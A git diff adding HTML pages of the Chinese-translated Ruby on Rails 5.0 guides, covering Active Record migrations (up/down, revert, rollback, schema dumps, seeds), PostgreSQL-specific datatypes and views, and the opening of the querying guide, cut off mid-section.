3.10 使用 updown 方法

可以使用 updown 方法以传统风格编写迁移而不使用 change 方法。up 方法用于描述对数据库模式所做的改变,down 方法用于撤销 up 方法所做的改变。换句话说,如果调用 up 方法之后紧接着调用 down 方法,数据库模式不会发生任何改变。例如用 up 方法创建数据表,就应该用 down 方法删除这个数据表。在 down 方法中撤销迁移时,明智的做法是按照和 up 方法中操作相反的顺序执行操作。下面的例子和上一节中的例子的功能完全相同:

+
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def up
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    # 添加 CHECK 约束
+    execute <<-SQL
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+        CHECK (char_length(zipcode) = 5);
+    SQL
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+
+    execute <<-SQL
+      ALTER TABLE distributors
+        DROP CONSTRAINT zipchk
+    SQL
+
+    drop_table :distributors
+  end
+end
+
+
+
+

对于无法撤销的迁移,应该在 down 方法中抛出 ActiveRecord::IrreversibleMigration 异常。这样一旦尝试撤销迁移,就会显示无法撤销迁移的出错信息。

3.11 撤销之前的迁移

Active Record 提供了 revert 方法用于回滚迁移:

+
+require_relative '20121212123456_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert ExampleMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+
+
+
+

revert 方法也接受块,在块中可以定义用于撤销迁移的指令。如果只是想要撤销之前迁移的部分操作,就可以使用块。例如,假设有一个 ExampleMigration 迁移已经执行,但后来发现应该用 ActiveRecord 验证代替 CHECK 约束来验证邮编,那么可以像下面这样编写迁移:

+
+class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert do
+      # 从  ExampleMigration 中复制粘贴代码
+      reversible do |dir|
+        dir.up do
+          # 添加 CHECK 约束
+          execute <<-SQL
+            ALTER TABLE distributors
+              ADD CONSTRAINT zipchk
+                CHECK (char_length(zipcode) = 5);
+          SQL
+        end
+        dir.down do
+          execute <<-SQL
+            ALTER TABLE distributors
+              DROP CONSTRAINT zipchk
+          SQL
+        end
+      end
+
+      # ExampleMigration 中的其他操作无需撤销
+    end
+  end
+end
+
+
+
+

不使用 revert 方法也可以编写出和上面的迁移功能相同的迁移,但需要更多步骤:调换 create_table 方法和 reversible 方法的顺序,用 drop_table 方法代替 create_table 方法,最后对调 updown 方法。换句话说,这么多步骤用一个 revert 方法就可以代替。

要想像上面的例子一样添加 CHECK 约束,必须使用 structure.sql 作为转储方式。请参阅 数据库模式转储

4 运行迁移

Rails 提供了一套用于运行迁移的 bin/rails 任务。其中最常用的是 rails db:migrate 任务,用于调用所有未运行的迁移中的 chagneup 方法。如果没有未运行的迁移,任务会直接退出。调用顺序是根据迁移文件名的时间戳确定的。

请注意,执行 db:migrate 任务时会自动执行 db:schema:dump 任务,这个任务用于更新 db/schema.rb 文件,以匹配数据库结构。

如果指定了目标版本,Active Record 会运行该版本之前的所有迁移(调用其中的 changeupdown 方法),其中版本指的是迁移文件名的数字前缀。例如,下面的命令会运行 20080906120000 版本之前的所有迁移:

+
+$ bin/rails db:migrate VERSION=20080906120000
+
+
+
+

如果版本 20080906120000 高于当前版本(换句话说,是向上迁移),上面的命令会按顺序运行迁移直到运行完 20080906120000 版本,之后的版本都不会运行。如果是向下迁移(即版本 20080906120000 低于当前版本),上面的命令会按顺序运行 20080906120000 版本之前的所有迁移,不包括 20080906120000 版本。

4.1 回滚

另一个常用任务是回滚最后一个迁移。例如,当发现最后一个迁移中有错误需要修正时,就可以执行回滚任务。回滚最后一个迁移不需要指定这个迁移的版本,直接执行下面的命令即可:

+
+$ bin/rails db:rollback
+
+
+
+

上面的命令通过撤销 change 方法或调用 down 方法来回滚最后一个迁移。要想取消多个迁移,可以使用 STEP 参数:

+
+$ bin/rails db:rollback STEP=3
+
+
+
+

上面的命令会撤销最后三个迁移。

db:migrate:redo 任务用于回滚最后一个迁移并再次运行这个迁移。和 db:rollback 任务一样,如果需要重做多个迁移,可以使用 STEP 参数,例如:

+
+$ bin/rails db:migrate:redo STEP=3
+
+
+
+

这些 bin/rails 任务可以完成的操作,通过 db:migrate 也都能完成,区别在于这些任务使用起来更方便,无需显式指定迁移的版本。

4.2 安装数据库

rails db:setup 任务用于创建数据库,加载数据库模式,并使用种子数据初始化数据库。

4.3 重置数据库

rails db:reset 任务用于删除并重新创建数据库,其功能相当于 rails db:drop db:setup

重置数据库和运行所有迁移是不一样的。重置数据库只使用当前的 db/schema.rbdb/structure.sql 文件的内容。如果迁移无法回滚,使用 rails db:reset 任务可能也没用。关于转储数据库模式的更多介绍,请参阅 数据库模式转储

4.4 运行指定迁移

要想运行或撤销指定迁移,可以使用 db:migrate:updb:migrate:down 任务。只需指定版本,对应迁移就会调用它的 changeupdown 方法,例如:

+
+$ bin/rails db:migrate:up VERSION=20080906120000
+
+
+
+

上面的命令会运行 20080906120000 这个迁移,调用它的 changeup 方法。db:migrate:up 任务会检查指定迁移是否已经运行过,如果已经运行过就不会执行任何操作。

4.5 在不同环境中运行迁移

bin/rails db:migrate 任务默认在开发环境中运行迁移。要想在其他环境中运行迁移,可以在执行任务时使用 RAILS_ENV 环境变量说明所需环境。例如,要想在测试环境中运行迁移,可以执行下面的命令:

+
+$ bin/rails db:migrate RAILS_ENV=test
+
+
+
+

4.6 修改迁移运行时的输出

运行迁移时,默认会输出正在进行的操作,以及操作所花费的时间。例如,创建数据表并添加索引的迁移在运行时会生成下面的输出:

+
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+
+
+
+

在迁移中提供了几种方法,允许我们修改迁移运行时的输出:

+ + + + + + + + + + + + + + + + + + + + + +
方法用途
suppress_messages参数是一个块,抑制块产生的任何输出。
say接受信息文体作为参数并将其输出。方法的第二个参数是布尔值,用于说明输出结果是否缩进。
say_with_time输出信息文本以及执行块所花费的时间。如果块返回整数,这个整数会被当作受块操作影响的记录的条数。
+

例如,下面的迁移:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+
+    say "Created a table"
+
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+
+
+
+

会生成下面的输出:

+
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+
+
+
+

要是不想让 Active Record 生成任何输出,可以使用 rails db:migrate VERBOSE=false

5 修改现有的迁移

在编写迁移时我们偶尔也会犯错误。如果已经运行过存在错误的迁移,那么直接修正迁移中的错误并重新运行这个迁移并不能解决问题:Rails 知道这个迁移已经运行过,因此执行 rails db:migrate 任务时不会执行任何操作。必须先回滚这个迁移(例如通过执行 bin/rails db:rollback 任务),再修正迁移中的错误,然后执行 rails db:migrate 任务来运行这个迁移的正确版本。

通常,直接修改现有的迁移不是个好主意。这样做会给我们和同事带来额外的工作量,如果这个迁移已经在生产服务器上运行过,还可能带来大麻烦。作为替代,可以编写一个新的迁移来执行我们想要的操作。修改还未提交到源代版本码控制系统(或者更一般地,还未传播到开发设备之外)的新生成的迁移是相对无害的。

在编写新的迁移来完全或部分撤销之前的迁移时,可以使用 revert 方法(请参阅前面 撤销之前的迁移)。

6 数据库模式转储

6.1 数据库模式文件有什么用?

迁移尽管很强大,但并非数据库模式的可信来源。Active Record 通过检查数据库生成的 db/schema.rb 文件或 SQL 文件才是数据库模式的可信来源。这两个可信来源不应该被修改,它们仅用于表示数据库的当前状态。

当需要部署 Rails 应用的新实例时,不必把所有迁移重新运行一遍,直接加载当前数据库的模式文件要简单和快速得多。

例如,我们可以这样创建测试数据库:把当前的开发数据库转储为 db/schema.rbdb/structure.sql 文件,然后加载到测试数据库。

数据库模式文件还可以用于快速查看 Active Record 对象具有的属性。这些属性信息不仅在模型代码中找不到,而且经常分散在几个迁移文件中,还好在数据库模式文件中可以很容易地查看这些信息。annotate_models gem 会在每个模型文件的顶部自动添加和更新注释,这些注释是对当前数据库模式的概述,如果需要可以使用这个 gem。

6.2 数据库模式转储的类型

数据库模式转储有两种方式,可以通过 config/application.rb 文件的 config.active_record.schema_format 选项来设置想要采用的方式,即 :sql:ruby

如果选择 :ruby,那么数据库模式会储存在 db/schema.rb 文件中。打开这个文件,会看到内容很多,就像一个巨大的迁移:

+
+ActiveRecord::Schema.define(version: 20080906171750) do
+  create_table "authors", force: true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", force: true do |t|
+    t.string   "name"
+    t.text "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string "part_number"
+  end
+end
+
+
+
+

在很多情况下,我们看到的数据库模式文件就是上面这个样子。这个文件是通过检查数据库生成的,使用 create_tableadd_index 等方法来表达数据库结构。这个文件是数据库无关的,因此可以加载到 Active Record 支持的任何一种数据库。如果想要分发使用多数据库的 Rails 应用,数据库无关这一特性就非常有用了。

尽管如此,db/schema.rb 在设计上也有所取舍:它不能表达数据库的特定项目,如触发器、存储过程或检查约束。尽管我们可以在迁移中执行定制的 SQL 语句,但是数据库模式转储工具无法从数据库中复原这些语句。如果我们使用了这类特性,就应该把数据库模式的格式设置为 :sql

在把数据库模式转储到 db/structure.sql 文件时,我们不使用数据库模式转储工具,而是使用数据库特有的工具(通过执行 db:structure:dump 任务)。例如,对于 PostgreSQL,使用的是 pg_dump 实用程序。对于 MySQL 和 MariaDB,db/structure.sql 文件将包含各种数据表的 SHOW CREATE TABLE 语句的输出。

加载数据库模式实际上就是执行其中包含的 SQL 语句。根据定义,加载数据库模式会创建数据库结构的完美拷贝。:sql 格式的数据库模式,只能加载到和原有数据库类型相同的数据库,而不能加载到其他类型的数据库。

6.3 数据库模式转储和源码版本控制

数据库模式转储是数据库模式的可信来源,因此强烈建议将其纳入源码版本控制。

db/schema.rb 文件包含数据库的当前版本号,这样可以确保在合并两个包含数据库模式文件的分支时会发生冲突。一旦出现这种情况,就需要手动解决冲突,保留版本较高的那个数据库模式文件。

7 Active Record 和引用完整性

Active Record 在模型而不是数据库中声明关联。因此,像触发器、约束这些依赖数据库的特性没有被大量使用。

验证,如 validates :foreign_key, uniqueness: true,是模型强制数据完整性的一种方式。在关联中设置 :dependent 选项,可以保证父对象删除后,子对象也会被删除。和其他应用层的操作一样,这些操作无法保证引用完整性,因此有些人会在数据库中使用外键约束以加强数据完整性。

尽管 Active Record 并未提供用于直接处理这些特性的工具,但 execute 方法可以用于执行任意 SQL。

8 迁移和种子数据

Rails 迁移特性的主要用途是使用一致的进程调用修改数据库模式的命令。迁移还可以用于添加或修改数据。对于不能删除和重建的数据库,如生产数据库,这些功能非常有用。

+
+class AddInitialProducts < ActiveRecord::Migration[5.0]
+  def up
+    5.times do |i|
+      Product.create(name: "Product ##{i}", description: "A product.")
+    end
+  end
+
+  def down
+    Product.delete_all
+  end
+end
+
+
+
+

使用 Rails 内置的“种子”特性可以快速简便地完成创建数据库后添加初始数据的任务。在开发和测试环境中,经常需要重新加载数据库,这时“种子”特性就更有用了。使用“种子”特性很容易,只要用 Ruby 代码填充 db/seeds.rb 文件,然后执行 rails db:seed 命令即可:

+
+5.times do |i|
+  Product.create(name: "Product ##{i}", description: "A product.")
+end
+
+
+
+

相比之下,这种设置新建应用数据库的方法更加干净利落。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_postgresql.html b/v5.0/active_record_postgresql.html new file mode 100644 index 0000000..84d0f76 --- /dev/null +++ b/v5.0/active_record_postgresql.html @@ -0,0 +1,747 @@ + + + + + + + +Active Record and PostgreSQL — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record and PostgreSQL

This guide covers PostgreSQL specific usage of Active Record.

After reading this guide, you will know:

+
    +
  • How to use PostgreSQL's datatypes.
  • +
  • How to use UUID primary keys.
  • +
  • How to implement full text search with PostgreSQL.
  • +
  • How to back your Active Record models with database views.
  • +
+ + + + +
+
+ +
+
+
+

In order to use the PostgreSQL adapter you need to have at least version 9.1 +installed. Older versions are not supported.

To get started with PostgreSQL have a look at the +configuring Rails guide. +It describes how to properly setup Active Record for PostgreSQL.

1 Datatypes

PostgreSQL offers a number of specific datatypes. Following is a list of types, +that are supported by the PostgreSQL adapter.

1.1 Bytea

+ +
+
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+  t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+
+
+
+

1.2 Array

+ +
+
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+  t.string 'title'
+  t.string 'tags', array: true
+  t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ApplicationRecord
+end
+
+# Usage
+Book.create title: "Brave New World",
+            tags: ["fantasy", "fiction"],
+            ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+
+
+
+

1.3 Hstore

+ +

You need to enable the hstore extension to use hstore.

+
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+  enable_extension 'hstore' unless extension_enabled?('hstore')
+  create_table :profiles do |t|
+    t.hstore 'settings'
+  end
+end
+
+# app/models/profile.rb
+class Profile < ApplicationRecord
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+
+Profile.where("settings->'color' = ?", "yellow")
+#=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
+
+
+
+

1.4 JSON

+ +
+
+# db/migrate/20131220144913_create_events.rb
+create_table :events do |t|
+  t.json 'payload'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
+Event.where("payload->>'kind' = ?", "user_renamed")
+
+
+
+

1.5 Range Types

+ +

This type is mapped to Ruby Range objects.

+
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+  t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+  select("lower(duration) AS starts_at").
+  select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+
+
+
+

1.6 Composite Types

+ +

Currently there is no special support for composite types. They are mapped to +normal text columns:

+
+CREATE TYPE full_address AS
+(
+  city VARCHAR(90),
+  street VARCHAR(90)
+);
+
+
+
+
+
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+   city VARCHAR(90),
+   street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+  t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ApplicationRecord
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+
+
+
+

1.7 Enumerated Types

+ +

Currently there is no special support for enumerated types. They are mapped as +normal text columns:

+
+# db/migrate/20131220144913_create_articles.rb
+def up
+  execute <<-SQL
+    CREATE TYPE article_status AS ENUM ('draft', 'published');
+  SQL
+  create_table :articles do |t|
+    t.column :status, :article_status
+  end
+end
+
+# NOTE: It's important to drop table before dropping enum.
+def down
+  drop_table :articles
+
+  execute <<-SQL
+    DROP TYPE article_status;
+  SQL
+end
+
+# app/models/article.rb
+class Article < ApplicationRecord
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+
+
+
+

To add a new value before/after existing one you should use ALTER TYPE:

+
+# db/migrate/20150720144913_add_new_state_to_articles.rb
+# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
+disable_ddl_transaction!
+
+def up
+  execute <<-SQL
+    ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
+  SQL
+end
+
+
+
+

ENUM values can't be dropped currently. You can read why here.

Hint: to show all the values of the all enums you have, you should call this query in bin/rails db or psql console:

+
+SELECT n.nspname AS enum_schema,
+       t.typname AS enum_name,
+       e.enumlabel AS enum_value
+  FROM pg_type t
+      JOIN pg_enum e ON t.oid = e.enumtypid
+      JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace
+
+
+
+

1.8 UUID

+ +

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp +extension to use uuid.

+
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+  t.uuid :identifier
+end
+
+# app/models/revision.rb
+class Revision < ApplicationRecord
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+
+
+
+

You can use uuid type to define references in migrations:

+
+# db/migrate/20150418012400_create_blog.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :posts, id: :uuid, default: 'gen_random_uuid()'
+
+create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t|
+  # t.belongs_to :post, type: :uuid
+  t.references :post, type: :uuid
+end
+
+# app/models/post.rb
+class Post < ApplicationRecord
+  has_many :comments
+end
+
+# app/models/comment.rb
+class Comment < ApplicationRecord
+  belongs_to :post
+end
+
+
+
+

See this section for more details on using UUIDs as primary key.

1.9 Bit String Types

+ +
+
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+  t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ApplicationRecord
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "01010011"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+
+
+
+

1.10 Network Address Types

+ +

The types inet and cidr are mapped to Ruby +IPAddr +objects. The macaddr type is mapped to normal text.

+
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+  t.inet 'ip'
+  t.cidr 'network'
+  t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+                        network: "192.168.2.0/24",
+                        address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+
+
+
+

1.11 Geometric Types

+ +

All geometric types, with the exception of points are mapped to normal text. +A point is casted to an array containing x and y coordinates.

2 UUID Primary Keys

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp +extension to generate random UUIDs.

+
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t|
+  t.string :kind
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+
+
+
+

uuid_generate_v4() (from uuid-ossp) is assumed if no :default option was +passed to create_table.

3 Full Text Search

+
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string 'title'
+  t.string 'body'
+end
+
+execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));"
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+                 "cat & dog")
+
+
+
+

4 Database Views

+ +

Imagine you need to work with a legacy database containing the following table:

+
+rails_pg_guide=# \d "TBL_ART"
+                                        Table "public.TBL_ART"
+   Column   |            Type             |                         Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE  | character varying           |
+ STR_STAT   | character varying           | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH    | boolean                     | default false
+Indexes:
+    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+
+
+
+

This table does not follow the Rails conventions at all. +Because simple PostgreSQL views are updateable by default, +we can wrap it as follows:

+
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+  SELECT "INT_ID" AS id,
+         "STR_TITLE" AS title,
+         "STR_STAT" AS status,
+         "DT_PUBL_AT" AS published_at,
+         "BL_ARCH" AS archived
+  FROM "TBL_ART"
+  WHERE "BL_ARCH" = 'f'
+  SQL
+
+# app/models/article.rb
+class Article < ApplicationRecord
+  self.primary_key = "id"
+  def archive!
+    update_attribute :archived, true
+  end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+                        status: "published",
+                        published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+                         status: "draft",
+                         published_at: 1.month.ago
+
+Article.count # => 1
+first.archive!
+Article.count # => 2
+
+
+
+

This application only cares about non-archived Articles. A view also +allows for conditions so we can exclude the archived Articles directly.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_querying.html b/v5.0/active_record_querying.html new file mode 100644 index 0000000..5c26d04 --- /dev/null +++ b/v5.0/active_record_querying.html @@ -0,0 +1,1923 @@ + + + + + + + +Active Record 查询接口 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 查询接口

本文介绍使用 Active Record 从数据库中检索数据的不同方法。

读完本文后,您将学到:

+
    +
  • 如何使用各种方法和条件查找记录;

  • +
  • 如何指定所查找记录的排序方式、想要检索的属性、分组方式和其他特性;

  • +
  • 如何使用预先加载以减少数据检索所需的数据库查询的数量;

  • +
  • 如何使用动态查找方法;

  • +
  • 如何通过方法链来连续使用多个 Active Record 方法;

  • +
  • 如何检查某个记录是否存在;

  • +
  • 如何在 Active Record 模型上做各种计算;

  • +
  • 如何在关联上执行 EXPLAIN 命令。

  • +
+ + + + +
+
+ +
+
+
+

如果你习惯直接使用 SQL 来查找数据库记录,那么你通常会发现 Rails 为执行相同操作提供了更好的方式。在大多数情况下,Active Record 使你无需使用 SQL。

本文中的示例代码会用到下面的一个或多个模型:

除非另有说明,下面所有模型都使用 id 作为主键。

+
+class Client < ApplicationRecord
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+
+
+
+
+class Address < ApplicationRecord
+  belongs_to :client
+end
+
+
+
+
+
+class Order < ApplicationRecord
+  belongs_to :client, counter_cache: true
+end
+
+
+
+
+
+class Role < ApplicationRecord
+  has_and_belongs_to_many :clients
+end
+
+
+
+

Active Record 会为你执行数据库查询,它和大多数数据库系统兼容,包括 MySQL、MariaDB、PostgreSQL 和 SQLite。不管使用哪个数据库系统,Active Record 方法的用法总是相同的。

1 从数据库中检索对象

Active Record 提供了几个用于从数据库中检索对象的查找方法。查找方法接受参数并执行指定的数据库查询,使我们无需直接编写 SQL。

下面列出这些查找方法:

+
    +
  • find

  • +
  • create_with

  • +
  • distinct

  • +
  • eager_load

  • +
  • extending

  • +
  • from

  • +
  • group

  • +
  • having

  • +
  • includes

  • +
  • joins

  • +
  • left_outer_joins

  • +
  • limit

  • +
  • lock

  • +
  • none

  • +
  • offset

  • +
  • order

  • +
  • preload

  • +
  • readonly

  • +
  • references

  • +
  • reorder

  • +
  • reverse_order

  • +
  • select

  • +
  • distinct

  • +
  • where

  • +
+

上面的所有方法都会返回 ActiveRecord::Relation 实例。

Model.find(options) 执行的主要操作可以概括为:

+
    +
  • 把提供的选项转换为等价的 SQL 查询。

  • +
  • 触发 SQL 查询并从数据库中检索对应的结果。

  • +
  • 为每个查询结果实例化对应的模型对象。

  • +
  • 当存在回调时,先调用 after_find 回调再调用 after_initialize 回调。

  • +
+

1.1 检索单个对象

Active Record 为检索单个对象提供了几个不同的方法。

1.1.1 find 方法

可以使用 find 方法检索指定主键对应的对象,指定主键时可以使用多个选项。例如:

+
+# 查找主键(ID)为 10 的客户
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+
+
+
+

如果没有找到匹配的记录,find 方法抛出 ActiveRecord::RecordNotFound 异常。

还可以使用 find 方法查询多个对象,方法是调用 find 方法并传入主键构成的数组。返回值是包含所提供的主键的所有匹配记录的数组。例如:

+
+# 查找主键为 1 和 10 的客户
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+
+
+
+

如果所提供的主键都没有匹配记录,那么 find 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.2 take 方法

take 方法检索一条记录而不考虑排序。例如:

+
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients LIMIT 1
+
+
+
+

如果没有找到记录,take 方法返回 nil,而不抛出异常。

take 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.take(2)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 220, first_name: "Sara">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients LIMIT 2
+
+
+
+

take! 方法的行为和 take 方法类似,区别在于如果没有找到匹配的记录,take! 方法抛出 ActiveRecord::RecordNotFound 异常。

对于不同的数据库引擎,take 方法检索的记录可能不一样。

1.1.3 first 方法

first 方法默认查找按主键排序的第一条记录。例如:

+
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+
+
+
+

如果没有找到匹配的记录,first 方法返回 nil,而不抛出异常。

如果默认作用域 (请参阅 应用默认作用域)包含排序方法,first 方法会返回按照这个顺序排序的第一条记录。

first 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.first(3)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 2, first_name: "Fifo">,
+#   #<Client id: 3, first_name: "Filo">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
+
+
+
+

对于使用 order 排序的集合,first 方法返回按照指定属性排序的第一条记录。例如:

+
+client = Client.order(:first_name).first
+# => #<Client id: 2, first_name: "Fifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1
+
+
+
+

first! 方法的行为和 first 方法类似,区别在于如果没有找到匹配的记录,first! 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.4 last 方法

last 方法默认查找按主键排序的最后一条记录。例如:

+
